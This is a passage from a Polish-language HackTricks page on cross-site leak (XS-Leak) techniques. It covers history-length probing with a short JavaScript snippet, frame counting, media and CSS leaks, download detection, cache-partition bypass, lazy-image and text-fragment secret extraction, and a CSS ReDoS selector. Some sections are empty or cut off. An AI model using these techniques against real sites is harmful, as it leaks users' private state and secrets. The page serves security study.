Atakujący może użyć kodu JavaScript do manipulowania lokalizacją ramki/wyskakującego okna na zgadywany URL i natychmiast zmienić go na about:blank. Jeśli długość historii wzrośnie, oznacza to, że URL był poprawny i miał czas na zwiększenie się, ponieważ URL nie jest ponownie ładowany, jeśli jest taki sam. Jeśli nie wzrośnie, oznacza to, że próbował załadować zgadywany URL, ale ponieważ natychmiast załadowaliśmy about:blank, długość historii nigdy nie wzrosła podczas ładowania zgadywanego URL.

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Liczenie ramek

Liczenie liczby ramek na stronie internetowej otwartej za pomocą iframe lub window.open może pomóc zidentyfikować status użytkownika na tej stronie.
Ponadto, jeśli strona zawsze ma tę samą liczbę ramek, ciągłe sprawdzanie liczby ramek może pomóc w identyfikacji wzorca, który może wyciekać informacje.

Przykładem tej techniki jest to, że w przeglądarce Chrome PDF może być wykrywane za pomocą liczenia ramek, ponieważ wewnętrznie używany jest element embed. Istnieją Parametry otwierania URL, które pozwalają na pewną kontrolę nad zawartością, taką jak zoom, view, page, toolbar, gdzie ta technika może być interesująca.

HTMLElementy

Wyciek informacji za pomocą elementów HTML jest problemem w zabezpieczeniach stron internetowych, zwłaszcza gdy dynamiczne pliki multimedialne są generowane na podstawie informacji użytkownika lub gdy dodawane są znaki wodne, zmieniające rozmiar mediów. Atakujący mogą wykorzystać to do rozróżnienia między możliwymi stanami, analizując informacje ujawniane przez określone elementy HTML.

Informacje ujawniane przez elementy HTML

  • HTMLMediaElement: Ten element ujawnia duration i buffered mediów, do których można uzyskać dostęp za pomocą jego API. Czytaj więcej o HTMLMediaElement
  • HTMLVideoElement: Ujawnia videoHeight i videoWidth. W niektórych przeglądarkach dostępne są dodatkowe właściwości, takie jak webkitVideoDecodedByteCount, webkitAudioDecodedByteCount i webkitDecodedFrameCount, które oferują bardziej szczegółowe informacje na temat zawartości multimedialnej. Czytaj więcej o HTMLVideoElement
  • getVideoPlaybackQuality(): Ta funkcja dostarcza szczegółowe informacje na temat jakości odtwarzania wideo, w tym totalVideoFrames, które może wskazywać ilość przetworzonych danych wideo. Czytaj więcej o getVideoPlaybackQuality()
  • HTMLImageElement: Ten element ujawnia height i width obrazu. Jednak jeśli obraz jest nieprawidłowy, te właściwości zwrócą 0, a funkcja image.decode() zostanie odrzucona, co wskazuje na niepowodzenie poprawnego wczytania obrazu. Czytaj więcej o HTMLImageElement

Właściwość CSS

Aplikacje internetowe mogą zmieniać stylizację strony internetowej w zależności od stanu użytkownika. Na stronie atakującego można osadzić pliki CSS z innych domen za pomocą elementu link HTML, a reguły zostaną zastosowane do strony atakującego. Jeśli strona dynamicznie zmienia te reguły, atakujący może wykryć te różnice w zależności od stanu użytkownika.
Jako technikę wycieku atakujący może użyć metody window.getComputedStyle, aby odczytać właściwości CSS określonego elementu HTML. W rezultacie atakujący może odczytać dowolne właściwości CSS, jeśli znane są dotknięte elementy i nazwa właściwości.

Historia CSS

{% hint style="info" %} Według tego, to nie działa w headless Chrome. {% endhint %}

Selektor CSS :visited jest wykorzystywany do stylizacji adresów URL w inny sposób, jeśli zostały one wcześniej odwiedzone przez użytkownika. W przeszłości metoda getComputedStyle() mogła być wykorzystana do identyfikacji tych różnic stylu. Jednak nowoczesne przeglądarki wprowadziły środki bezpieczeństwa, które uniemożliwiają tej metodzie ujawnienie stanu linku. Środki te obejmują zawsze zwracanie obliczonego stylu tak, jakby link był odwiedzony, oraz ograniczenie stylów, które można zastosować za pomocą selektora :visited.

Mimo tych ograniczeń możliwe jest pośrednie rozpoznanie stanu odwiedzonego linku. Jedną z technik jest wprowadzenie użytkownika w błąd, aby wchodził w interakcję z obszarem objętym CSS, w szczególności wykorzystując właściwość mix-blend-mode. Ta właściwość umożliwia mieszanie elementów z ich tłem, potencjalnie ujawniając stan odwiedzenia na podstawie interakcji użytkownika.

Ponadto, wykrycie można osiągnąć bez interakcji użytkownika, wykorzystując czasy renderowania linków. Ponieważ przeglądarki mogą renderować odwiedzone i nieodwiedzone linki w inny sposób, może to wprowadzić mierzalną różnicę czasu w renderowaniu. W raporcie błędu Chromium wspomniano o dowodzie koncepcji (PoC), który demonstruje tę technikę za pomocą wielu linków w celu wzmocnienia różnicy czasowej, co umożliwia wykrycie stanu odwiedzenia poprzez analizę czasu.

Aby uzyskać więcej szczegółów na temat tych właściwości i metod, odwied

Wyciek X-Frame w ContentDocument

W Chrome, jeśli strona z nagłówkiem X-Frame-Options ustawionym na "deny" lub "same-origin" jest osadzana jako obiekt, pojawia się strona błędu. Chrome zwraca unikalny pusty obiekt dokumentu (zamiast null) dla właściwości contentDocument tego obiektu, w przeciwieństwie do iframe'ów lub innych przeglądarek. Atakujący mogą wykorzystać to, wykrywając pusty dokument, potencjalnie ujawniając informacje o stanie użytkownika, zwłaszcza jeśli programiści niespójnie ustawiają nagłówek X-Frame-Options, często pomijając strony błędów. Świadomość i konsekwentne stosowanie nagłówków zabezpieczeń są kluczowe dla zapobiegania takim wyciekom.

Wykrywanie pobierania

Nagłówek Content-Disposition, a konkretnie Content-Disposition: attachment, instruuje przeglądarkę do pobrania zawartości zamiast wyświetlania jej wewnętrznie. To zachowanie może być wykorzystane do wykrywania, czy użytkownik ma dostęp do strony, która wywołuje pobieranie pliku. W przeglądarkach opartych na Chromium istnieje kilka technik wykrywania tego zachowania pobierania:

  1. Monitorowanie paska pobierania:
  • Gdy plik jest pobierany w przeglądarkach opartych na Chromium, na dole okna przeglądarki pojawia się pasek pobierania.
  • Monitorując zmiany wysokości okna, atakujący mogą wnioskować o pojawieniu się paska pobierania, sugerując rozpoczęcie pobierania.
  1. Nawigacja pobierania za pomocą iframe'ów:
  • Gdy strona wywołuje pobieranie pliku za pomocą nagłówka Content-Disposition: attachment, nie powoduje to zdarzenia nawigacji.
  • Ładując zawartość w iframe'ie i monitorując zdarzenia nawigacji, można sprawdzić, czy nagłówek content disposition powoduje pobranie pliku (brak nawigacji) czy nie.
  1. Nawigacja pobierania bez użycia iframe'ów:
  • Podobnie jak w przypadku techniki z iframe'ami, ta metoda polega na użyciu window.open zamiast iframe'a.
  • Monitorowanie zdarzeń nawigacji w nowo otwartym oknie może ujawnić, czy zostało wywołane pobieranie pliku (brak nawigacji) czy też zawartość jest wyświetlana wewnętrznie (następuje nawigacja).

W przypadkach, gdy tylko zalogowani użytkownicy mogą wywoływać takie pobrania, te techniki mogą być wykorzystane do pośredniego wnioskowania o stanie uwierzytelnienia użytkownika na podstawie odpowiedzi przeglądarki na żądanie pobrania.

Bypass partycjonowanego cache HTTP

{% hint style="warning" %} To dlatego ta technika jest interesująca: Chrome ma teraz partycjonowanie pamięci podręcznej, a klucz pamięci podręcznej nowo otwartej strony to: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx), ale jeśli otworzę stronę ngrok i użyję fetch w niej, klucz pamięci podręcznej będzie: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), klucz pamięci podręcznej jest inny, więc pamięć podręczna nie może być współdzielona. Więcej szczegółów można znaleźć tutaj: Gaining security and privacy by partitioning the cache
(Komentarz z tutaj) {% endhint %}

Jeśli strona example.com zawiera zasób z *.example.com/resource, to ten zasób będzie miał ten sam klucz pamięci podręcznej, co gdyby zasób był bezpośrednio żądany przez nawigację na najwyższym poziomie. Wynika to z faktu, że klucz pamięci podręcznej składa się z eTLD+1 na najwyższym poziomie i eTLD+1 ramki.

Ponieważ dostęp do pamięci podręcznej jest szybszy niż ładowanie zasobu, można spróbować zmienić lokalizację strony i anulować ją po 20 ms (na przykład). Jeśli po zatrzymaniu nastąpiła zmiana pochodzenia, oznacza to, że zasób został zapisany w pamięci podręcznej.
Można również wysłać żądanie fetch do potencjalnie zapisanej w pamięci podręcznej strony i zmierzyć czas, jaki to zajmuje.

Ręczne przekierowanie

Zanieczyszczenie skryptów

Pracownicy usług

W podanym scenariuszu atakujący podejmuje inicjatywę zarejestrowania pracownika usługowego w jednej ze swoich domen, konkretnie "attacker.com". Następnie atakujący otwiera nowe okno na stronie docelowej z głównego dokumentu i instruuje pracownika usługowego do rozpoczęcia odliczania czasu. Gdy nowe okno zaczyna się ładować, atakujący nawiguje do strony zarządzanej przez pracownika usługowego za pomocą uzyskanego wcześniej odnośnika.

Po przybyciu żądania zainicjowanego w poprzednim kroku, pracownik usługowy odpowiada kodem stanu 204 (No Content), co efektywnie kończy proces nawigacji. W tym momencie pracownik usługowy rejestruje pomiar z wcześniej rozpoczętego timera. Ten pomiar jest wpływany przez czas trwania JavaScriptu powodującego opóźnienia w procesie nawigacji.

{% hint style="warning" %} Podczas pomiaru czasu wykonania możliwe jest wyeliminowanie czynników sieciowych w celu uzyskania bardziej precyzyjnych pomiarów. Na przykład, poprzez wczytanie zasobów używanych przez stronę przed jej załadowaniem. {% endhint %}

Pobieranie czasu

Pomiar czasu międzyokienkowego


Użyj Trickest, aby łatwo tworzyć i automatyzować zadania przy użyciu najbardziej zaawansowanych narzędzi społeczności na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Za pomocą HTML lub ponownego wstrzykiwania

Tutaj znajdziesz techniki wydobywania informacji z wstrzykiwania treści HTML międzydomenowego. Techniki te są interesujące w przypadkach, gdy z jakiegoś powodu możesz wstrzykiwać HTML, ale nie możesz wstrzykiwać kodu JS.

Wiszące znaczniki

{% content-ref url="dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}

Opóźnione ładowanie obrazów

Jeśli musisz wydobyć zawartość i możesz dodać HTML przed sekretem, powinieneś sprawdzić powszechne techniki wiszących znaczników.
Jednak jeśli z jakiegoś powodu MUSISZ to zrobić znak po znaku (może komunikacja odbywa się za pomocą trafienia w pamięć podręczną), możesz skorzystać z tego triku.

Obrazy w HTML mają atrybut "loading", którego wartość może być "lazy". W takim przypadku obraz zostanie załadowany, gdy zostanie wyświetlony, a nie podczas ładowania strony:

<img src=/something loading=lazy >

Dlatego możesz zrobić tak, żeby dodać dużo niepotrzebnych znaków (Na przykład tysiące "W") aby wypełnić stronę internetową przed sekretem lub dodać coś takiego jak <br><canvas height="1850px"></canvas><br>.
Jeśli na przykład nasze wstrzyknięcie pojawi się przed flagą, obrazek zostanie załadowany, ale jeśli pojawi się po fladze, flaga + śmieci uniemożliwią jej załadowanie (musisz eksperymentować z ilością śmieci do umieszczenia). Tak właśnie się stało w tym rozwiązaniu.

Inną opcją byłoby użycie scroll-to-text-fragment, jeśli jest dozwolone:

Scroll-to-text-fragment

Jednakże, sprawiasz, że bot ma dostęp do strony za pomocą czegoś takiego jak

#:~:text=SECR

Więc strona internetowa będzie wyglądać mniej więcej tak: https://victim.com/post.html#:~:text=SECR

Gdzie post.html zawiera niepotrzebne znaki atakującego i obraz ładowany w sposób leniwy, a następnie dodawany jest sekret bota.

Ten tekst spowoduje, że bot uzyska dostęp do dowolnego tekstu na stronie, który zawiera tekst SECR. Ponieważ ten tekst to sekret i znajduje się poniżej obrazu, obraz zostanie załadowany tylko wtedy, gdy zgadnięty sekret będzie poprawny. Więc masz swoje źródło informacji, aby wyciekać sekret znak po znaku.

Przykład kodu do wykorzystania tego: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Opóźnione ładowanie obrazu w zależności od czasu

Jeśli nie jest możliwe załadowanie zewnętrznego obrazu, co mogłoby wskazać atakującemu, że obraz został załadowany, inną opcją jest próba zgadnięcia znaku kilka razy i zmierzenie tego. Jeśli obraz jest ładowany, wszystkie żądania będą trwały dłużej niż w przypadku, gdy obraz nie jest ładowany. To jest to, co zostało użyte w rozwiązaniu tego opisu, podsumowane tutaj:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

Jeśli używane jest jQuery(location.hash), możliwe jest sprawdzenie za pomocą pomiaru czasu, czy istnieje jakaś zawartość HTML, ponieważ jeśli selektor main[id='site-main'] nie pasuje, nie trzeba sprawdzać reszty selektorów:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

Wstrzykiwanie CSS

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

Obrona

Zalecane są środki zaradcze opisane w https://xsinator.com/paper.pdf, a także w każdej sekcji wiki https://xsleaks.dev/. Zapoznaj się tam z dodatkowymi informacjami na temat sposobów ochrony przed tymi technikami.

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:


Użyj Trickest, aby łatwo tworzyć i automatyzować zadania przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}